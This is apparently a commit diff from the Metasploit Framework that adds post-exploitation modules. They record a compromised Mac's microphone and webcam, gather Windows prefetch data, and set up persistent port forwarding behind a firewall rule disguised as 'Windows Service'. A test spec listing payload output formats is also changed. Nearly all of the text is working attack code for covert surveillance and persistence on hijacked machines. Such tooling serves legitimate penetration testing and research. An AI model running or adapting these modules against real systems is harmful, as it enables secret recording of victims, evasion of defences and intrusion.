output = cmd_exec(['ruby', '-e', ruby_cmd].shelljoin)
if action.name =~ /list/i
print_good output
elsif action.name =~ /record/i
@pid = output.to_i
print_status "Running record service with PID #{@pid}"
(0...num_chunks).each do |i|
# wait SYNC_WAIT seconds
print_status "Waiting for #{datastore['SYNC_WAIT'].to_i} seconds"
Rex.sleep(datastore['SYNC_WAIT'])
# start reading for file
begin
::Timeout.timeout(poll_timeout) do
while true
if File.exist?(tmp_file)
# read file
contents = File.read(tmp_file)
# delete file
rm_f(tmp_file)
# roll filename
base = File.basename(tmp_file, '.*') # returns it with no extension
num = ((base.match(/\d+$/)||['0'])[0].to_i+1).to_s
ext = File.extname(tmp_file) || 'o'
tmp_file = File.join(File.dirname(tmp_file), base+num+'.'+ext)
# store contents in file
title = "OSX Mic Recording "+i.to_s
f = store_loot(title, "audio/quicktime", session, contents,
"osx_mic_rec#{i}.qt", title)
print_good "Record file captured and saved to #{f}"
print_status "Rolling record file. "
break
else
Rex.sleep(0.3)
end
end
end
rescue ::Timeout::Error
fail_with("Client did not respond to file request after #{poll_timeout}s, exiting.")
end
end
end
end
def cleanup
return unless @cleaning_up.nil?
@cleaning_up = true
if action.name =~ /record/i and not @pid.nil?
print_status("Killing record service...")
cmd_exec("/bin/kill -9 #{@pid}")
end
end
private
def poll_timeout; POLL_TIMEOUT; end
def fail_with(msg); raise msg; end
end

View File

@ -0,0 +1,153 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'shellwords'
require 'msf/core/post/osx/ruby_dl'
class Metasploit3 < Msf::Post
include Msf::Post::Common
include Msf::Post::File
include Msf::Auxiliary::Report
include Msf::Post::OSX::RubyDL
POLL_TIMEOUT = 120
def initialize(info={})
super(update_info(info,
'Name' => 'OSX Manage Webcam',
'Description' => %q{
This module will allow the user to detect installed webcams (with
the LIST action), take a snapshot (with the SNAPSHOT action), or
record a webcam and mic (with the RECORD action)
},
'License' => MSF_LICENSE,
'Author' => [ 'joev <jvennix[at]rapid7.com>'],
'Platform' => [ 'osx'],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Actions' => [
[ 'LIST', { 'Description' => 'Show a list of webcams' } ],
[ 'SNAPSHOT', { 'Description' => 'Take a snapshot with the webcam' } ],
[ 'RECORD', { 'Description' => 'Record with the webcam' } ]
],
'DefaultAction' => 'LIST'
))
register_options(
[
OptInt.new('CAMERA_INDEX', [true, 'The index of the webcam to use. `set ACTION LIST` to get a list.', 0]),
OptInt.new('MIC_INDEX', [true, 'The index of the mic to use. `set ACTION LIST` to get a list.', 0]),
OptString.new('JPG_QUALITY', [false, 'The compression factor for snapshotting a jpg (from 0 to 1)', "0.8"]),
OptString.new('TMP_FILE',
[true, 'The tmp file to use on the remote machine', '/tmp/.<random>/<random>']
),
OptBool.new('AUDIO_ENABLED', [false, 'Enable audio when recording', true]),
OptString.new('AUDIO_COMPRESSION',
[true, 'Compression type to use for audio', 'QTCompressionOptionsHighQualityAACAudio']
),
OptString.new('VIDEO_COMPRESSION',
[true, 'Compression type to use for video', 'QTCompressionOptionsSD480SizeH264Video']
),
OptEnum.new('SNAP_FILETYPE',
[true, 'File format to use when saving a snapshot', 'png', %w(jpg png gif tiff bmp)]
),
OptInt.new('RECORD_LEN', [true, 'Number of seconds to record', 30]),
OptInt.new('SYNC_WAIT', [true, 'Wait between syncing chunks of output', 5])
], self.class)
end
def run
fail_with("Invalid session ID selected.") if client.nil?
fail_with("Invalid action") if action.nil?
num_chunks = (datastore['RECORD_LEN'].to_f/datastore['SYNC_WAIT'].to_f).ceil
tmp_file = datastore['TMP_FILE'].gsub('<random>') { Rex::Text.rand_text_alpha(10)+'1' }
ruby_cmd = osx_capture_media(
:action => action.name.downcase,
:snap_filetype => datastore['SNAP_FILETYPE'],
:audio_enabled => datastore['AUDIO_ENABLED'],
:video_enabled => true,
:num_chunks => num_chunks,
:chunk_len => datastore['SYNC_WAIT'],
:video_device => datastore['CAMERA_INDEX'],
:audio_device => datastore['MIC_INDEX'],
:snap_jpg_compression => datastore['JPG_QUALITY'].to_f,
:video_compression => datastore['VIDEO_COMPRESSION'],
:audio_compression => datastore['AUDIO_COMPRESSION'],
:record_file => tmp_file,
:snap_file => tmp_file+datastore['SNAP_FILETYPE']
)
output = cmd_exec(['ruby', '-e', ruby_cmd].shelljoin)
if action.name =~ /list/i
print_good output
elsif action.name =~ /record/i
@pid = output.to_i
print_status "Running record service with PID #{@pid}"
(0...num_chunks).each do |i|
# wait SYNC_WAIT seconds
print_status "Waiting for #{datastore['SYNC_WAIT'].to_i} seconds"
Rex.sleep(datastore['SYNC_WAIT'])
# start reading for file
begin
::Timeout.timeout(poll_timeout) do
while true
if File.exist?(tmp_file)
# read file
contents = File.read(tmp_file)
# delete file
rm_f(tmp_file)
# roll filename
base = File.basename(tmp_file, '.*') # returns it with no extension
num = ((base.match(/\d+$/)||['0'])[0].to_i+1).to_s
ext = File.extname(tmp_file) || 'o'
tmp_file = File.join(File.dirname(tmp_file), base+num+'.'+ext)
# store contents in file
title = "OSX Webcam Recording "+i.to_s
f = store_loot(title, "video/mov", session, contents,
"osx_webcam_rec#{i}.mov", title)
print_good "Record file captured and saved to #{f}"
print_status "Rolling movie file. "
break
else
Rex.sleep(0.3)
end
end
end
rescue ::Timeout::Error
fail_with("Client did not respond to new file request, exiting.")
end
end
elsif action.name =~ /snap/i
if output.include?('(RuntimeError)')
print_error output
return
end
snap_type = datastore['SNAP_FILETYPE']
img = read_file(tmp_file+snap_type)
f = store_loot("OSX Webcam Snapshot", "image/#{snap_type}",
session, img, "osx_webcam_snapshot.#{snap_type}", 'OSX Webcam Snapshot')
print_good "Snapshot successfully taken and saved to #{f}"
end
end
def cleanup
return unless @cleaning_up.nil?
@cleaning_up = true
if action.name =~ /record/i and not @pid.nil?
print_status("Killing record service...")
cmd_exec("/bin/kill -9 #{@pid}")
end
end
private
def poll_timeout; POLL_TIMEOUT; end
def fail_with(msg); raise msg; end
end

View File

@ -0,0 +1,186 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
require 'msf/core/post/windows/registry'
class Metasploit3 < Msf::Post
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Registry
def initialize(info={})
super(update_info(info,
'Name' => 'Windows Gather Prefetch File Information',
'Description' => %q{
This module gathers prefetch file information from WinXP, Win2k3 and Win7 systems.
Run count, hash and filename information is collected from each prefetch file while
Last Modified and Create times are file MACE values.
},
'License' => MSF_LICENSE,
'Author' => ['TJ Glad <fraktaali[at]gmail.com>'],
'Platform' => ['win'],
'SessionType' => ['meterpreter']
))
end
def print_prefetch_key_value()
# Checks if Prefetch registry key exists and what value it has.
prefetch_key_value = registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Memory Management\\PrefetchParameters", "EnablePrefetcher")
if prefetch_key_value == 0
print_error("EnablePrefetcher Value: (0) = Disabled (Non-Default).")
elsif prefetch_key_value == 1
print_good("EnablePrefetcher Value: (1) = Application launch prefetching enabled (Non-Default).")
elsif prefetch_key_value == 2
print_good("EnablePrefetcher Value: (2) = Boot prefetching enabled (Non-Default, excl. Win2k3).")
elsif prefetch_key_value == 3
print_good("EnablePrefetcher Value: (3) = Applaunch and boot enabled (Default Value, excl. Win2k3).")
else
print_error("No value or unknown value. Results might vary.")
end
end
def print_timezone_key_values(key_value)
# Looks for timezone from registry
timezone = registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation", key_value)
tz_bias = registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation", "Bias")
if timezone.nil? or tz_bias.nil?
print_line("Couldn't find key/value for timezone from registry.")
else
print_good("Remote: Timezone is %s." % timezone)
if tz_bias < 0xfff
print_good("Remote: Localtime bias to UTC: -%s minutes." % tz_bias)
else
offset = 0xffffffff
bias = offset - tz_bias
print_good("Remote: Localtime bias to UTC: +%s minutes." % bias)
end
end
end
def gather_pf_info(name_offset, hash_offset, runcount_offset, filename)
# We'll load the file and parse information from the offsets
prefetch_file = read_file(filename)
if prefetch_file.empty? or prefetch_file.nil?
print_error("Couldn't read file: #{filename}")
return nil
else
# First we'll get the filename
pf_filename = prefetch_file[name_offset..name_offset+60]
idx = pf_filename.index("\x00\x00")
name = Rex::Text.to_ascii(pf_filename.slice(0..idx))
# Next we'll get the run count
run_count = prefetch_file[runcount_offset..runcount_offset+4].unpack('L*')[0].to_s
# Then file path hash
path_hash = prefetch_file[hash_offset..hash_offset+4].unpack('h8')[0].reverse.upcase.to_s
# Last is mace value for timestamps
mtimes = client.priv.fs.get_file_mace(filename)
if mtimes.nil? or mtimes.empty?
last_modified = "Error reading value"
created = "Error reading value"
else
last_modified = mtimes['Modified'].utc.to_s
created = mtimes['Created'].utc.to_s
end
return [last_modified, created, run_count, path_hash, name]
end
end
def run
print_status("Prefetch Gathering started.")
# Check to see what Windows Version is running.
# Needed for offsets.
# Tested on WinXP, Win2k3 and Win7 systems.
# http://www.forensicswiki.org/wiki/Prefetch
# http://www.forensicswiki.org/wiki/Windows_Prefetch_File_Format
sysnfo = client.sys.config.sysinfo['OS']
error_msg = "You don't have enough privileges. Try getsystem."
if sysnfo =~/(Windows XP|2003|.NET)/
# For some reason we need system privileges to read file
# mace time on XP/2003 while we can do the same only
# as admin on Win7.
if not is_system?
print_error(error_msg)
return nil
end
# Offsets for WinXP & Win2k3
print_good("Detected #{sysnfo} (max 128 entries)")
name_offset = 0x10
hash_offset = 0x4C
runcount_offset = 0x90
# Registry key for timezone
key_value = "StandardName"
elsif sysnfo =~/(Windows 7)/
if not is_admin?
print_error(error_msg)
return nil
end
# Offsets for Win7
print_good("Detected #{sysnfo} (max 128 entries)")
name_offset = 0x10
hash_offset = 0x4C
runcount_offset = 0x98
# Registry key for timezone
key_value = "TimeZoneKeyName"
else
print_error("No offsets for the target Windows version. Currently works only on WinXP, Win2k3 and Win7.")
return nil
end
table = Rex::Ui::Text::Table.new(
'Header' => "Prefetch Information",
'Indent' => 1,
'Columns' =>
[
"Modified (mace)",
"Created (mace)",
"Run Count",
"Hash",
"Filename"
])
print_prefetch_key_value
print_timezone_key_values(key_value)
print_good("Current UTC Time: %s" % Time.now.utc)
sys_root = expand_path("%SYSTEMROOT%")
full_path = sys_root + "\\Prefetch\\"
file_type = "*.pf"
print_status("Gathering information from remote system. This will take awhile..")
# Goes through the files in Prefetch directory, creates file paths for the
# gather_pf_info function that enumerates all the pf info
getfile_prefetch_filenames = client.fs.file.search(full_path, file_type)
if getfile_prefetch_filenames.empty? or getfile_prefetch_filenames.nil?
print_error("Could not find/access any .pf files. Can't continue. (Might be temporary error..)")
return nil
else
getfile_prefetch_filenames.each do |file|
if file.empty? or file.nil?
next
else
filename = ::File.join(file['path'], file['name'])
pf_entry = gather_pf_info(name_offset, hash_offset, runcount_offset, filename)
if not pf_entry.nil?
table << pf_entry
end
end
end
end
# Stores and prints out results
results = table.to_s
loot = store_loot("prefetch_info", "text/plain", session, results, nil, "Prefetch Information")
print_line("\n" + results + "\n")
print_status("Finished gathering information from prefetch files.")
print_status("Results stored in: #{loot}")
end
end

View File

@ -0,0 +1,129 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
class Metasploit3 < Msf::Post
include Msf::Post::Windows::Priv
include Msf::Post::Common
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Manage Set Port Forwarding With PortProxy',
'Description' => %q{
This module uses the PortProxy interface from netsh to set up
port forwarding persistently (even after reboot). PortProxy
supports TCP IPv4 and IPv6 connections.
},
'License' => MSF_LICENSE,
'Author' => [ 'Borja Merino <bmerinofe[at]gmail.com>'],
'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter' ]
))
register_options(
[
OptAddress.new('LOCAL_ADDRESS', [ true, 'IPv4/IPv6 address to which to listen.']),
OptAddress.new('CONNECT_ADDRESS', [ true, 'IPv4/IPv6 address to which to connect.']),
OptPort.new( 'CONNECT_PORT', [ true, 'Port number to which to connect.']),
OptPort.new( 'LOCAL_PORT', [ true, 'Port number to which to listen.']),
OptBool.new( 'IPV6_XP', [ true, 'Install IPv6 on Windows XP (needed for v4tov4).', true]),
OptEnum.new( 'TYPE', [ true, 'Type of forwarding', 'v4tov4', ['v4tov4','v6tov6','v6tov4','v4tov6']])
], self.class)
end
def run
if not is_admin?
print_error("You don't have enough privileges. Try getsystem.")
return
end
# Due to a bug in Windows XP you need to install IPv6
# http://support.microsoft.com/kb/555744/en-us
if sysinfo["OS"] =~ /XP/
return unless check_ipv6
end
return unless enable_portproxy
fw_enable_ports
end
def enable_portproxy
rtable = Rex::Ui::Text::Table.new(
'Header' => 'Port Forwarding Table',
'Indent' => 3,
'Columns' => ['LOCAL IP', 'LOCAL PORT', 'REMOTE IP', 'REMOTE PORT']
)
print_status("Setting PortProxy ...")
netsh_args = "interface portproxy "
netsh_args << "add #{datastore['TYPE']} "
netsh_args << "listenport=#{datastore['LOCAL_PORT']} "
netsh_args << "listenaddress=#{datastore['LOCAL_ADDRESS']} "
netsh_args << "connectport=#{datastore['CONNECT_PORT']} "
netsh_args << "connectaddress=#{datastore['CONNECT_ADDRESS']}"
output = cmd_exec("netsh", netsh_args)
if output.size > 2
print_error("Setup error. Verify parameters and syntax.")
return false
else
print_good("PortProxy added.")
end
output = cmd_exec("netsh","interface portproxy show all")
output.each_line do |l|
rtable << l.split(" ") if l.strip =~ /^[0-9]|\*/
end
print_status(rtable.to_s)
return true
end
def ipv6_installed()
output = cmd_exec("netsh","interface ipv6 show interface")
if output.lines.count > 2
return true
else
return false
end
end
def check_ipv6
if ipv6_installed
print_status("IPv6 is already installed.")
return true
elsif not datastore['IPV6_XP']
print_error("IPv6 is not installed. You need IPv6 to use portproxy.")
print_status("IPv6 can be installed with \"netsh interface ipv6 install\"")
return false
else
print_status("Installing IPv6... can take a little long")
cmd_exec("netsh","interface ipv6 install",120)
if not ipv6_installed
print_error("IPv6 was not successfully installed. Run it again.")
return false
end
print_good("IPv6 was successfully installed.")
return true
end
end
def fw_enable_ports
print_status ("Setting port #{datastore['LOCAL_PORT']} in Windows Firewall ...")
if sysinfo["OS"] =~ /Windows 7|Vista|2008|2012/
cmd_exec("netsh","advfirewall firewall add rule name=\"Windows Service\" dir=in protocol=TCP action=allow localport=\"#{datastore['LOCAL_PORT']}\"")
else
cmd_exec("netsh","firewall set portopening protocol=TCP port=\"#{datastore['LOCAL_PORT']}\"")
end
output = cmd_exec("netsh","firewall show state")
if output =~ /^#{datastore['LOCAL_PORT']} /
print_good("Port opened in Windows Firewall.")
else
print_error("There was an error enabling the port.")
end
end
end

View File

@ -18,6 +18,24 @@ shared_context 'Msf::Util::Exe' do
{ :format => "exe-service", :arch => "x86", :file_fp => /PE32 / },
{ :format => "exe-service", :arch => "x64", :file_fp => /PE32\+ / },
{ :format => "exe-service", :arch => "x86_64", :file_fp => /PE32\+ / },
{ :format => "vbs", :arch => "x86", :file_fp => /ASCII/ },
{ :format => "vbs", :arch => "x86_64", :file_fp => /ASCII/ },
{ :format => "loop-vbs", :arch => "x86", :file_fp => /ASCII/ },
{ :format => "loop-vbs", :arch => "x86_64", :file_fp => /ASCII/ },
{ :format => "asp", :arch => "x86", :file_fp => /ASCII/ },
{ :format => "asp", :arch => "x86_64", :file_fp => /ASCII/ },
{ :format => "aspx", :arch => "x86", :file_fp => /ASCII/ },
{ :format => "aspx", :arch => "x86_64", :file_fp => /ASCII/ },
{ :format => "vba", :arch => "x86", :file_fp => /ASCII/ },
{ :format => "vba", :arch => "x86_64", :file_fp => /ASCII/ },
{ :format => "vba-exe", :arch => "x86", :file_fp => /ASCII/ },
{ :format => "vba-exe", :arch => "x86_64", :file_fp => /ASCII/ },
{ :format => "psh", :arch => "x86", :file_fp => /ASCII/ },
{ :format => "psh", :arch => "x86_64", :file_fp => /ASCII/ },
{ :format => "psh-net", :arch => "x86", :file_fp => /ASCII/ },
{ :format => "psh-net", :arch => "x86_64", :file_fp => /ASCII/ },
{ :format => "war", :arch => "x86", :file_fp => /Zip/ },
{ :format => "war", :arch => "x86_64", :file_fp => /Zip/ },
{ :format => "msi", :arch => "x86", :file_fp => /Composite Document/ },
{ :format => "msi", :arch => "x64", :file_fp => /Composite Document/ },
{ :format => "msi", :arch => "x86_64", :file_fp => /Composite Document/ },
@ -28,27 +46,41 @@ shared_context 'Msf::Util::Exe' do
{ :format => "elf", :arch => "armle", :file_fp => /ELF 32.*ARM/ },
{ :format => "elf", :arch => "mipsbe", :file_fp => /ELF 32-bit MSB executable, MIPS/ },
{ :format => "elf", :arch => "mipsle", :file_fp => /ELF 32-bit LSB executable, MIPS/ },
{ :format => "war", :arch => "x86", :file_fp => /Zip/ },
{ :format => "war", :arch => "x64", :file_fp => /Zip/ },
{ :format => "war", :arch => "armle", :file_fp => /Zip/ },
{ :format => "war", :arch => "mipsbe", :file_fp => /Zip/ },
{ :format => "war", :arch => "mipsle", :file_fp => /Zip/ },
],
"bsd" => [
{ :format => "elf", :arch => "x86", :file_fp => /ELF 32.*BSD/ },
{ :format => "war", :arch => "x86", :file_fp => /Zip/ },
],
"solaris" => [
{ :format => "elf", :arch => "x86", :file_fp => /ELF 32/ },
{ :format => "war", :arch => "x86", :file_fp => /Zip/ },
],
"osx" => [
{ :format => "macho", :arch => "x86", :file_fp => /Mach-O.*i386/ },
{ :format => "macho", :arch => "x64", :file_fp => /Mach-O 64/ },
{ :format => "macho", :arch => "armle", :file_fp => /Mach-O.*(acorn|arm)/ },
{ :format => "macho", :arch => "ppc", :file_fp => /Mach-O.*ppc/ },
{ :format => "war", :arch => "x86", :file_fp => /Zip/ },
{ :format => "war", :arch => "x64", :file_fp => /Zip/ },
{ :format => "war", :arch => "armle", :file_fp => /Zip/ },
{ :format => "war", :arch => "ppc", :file_fp => /Zip/ },
],
}
def verify_bin_fingerprint(format_hash, bin)
bin.should be_a(String)
fp = IO.popen("file -","w+") do |io|
io.write(bin)
io.close_write
io.read
begin
io.write(bin)
rescue Errno::EPIPE
end
io.close_write
io.read
end
if format_hash[:file_fp]
fp.should =~ format_hash[:file_fp]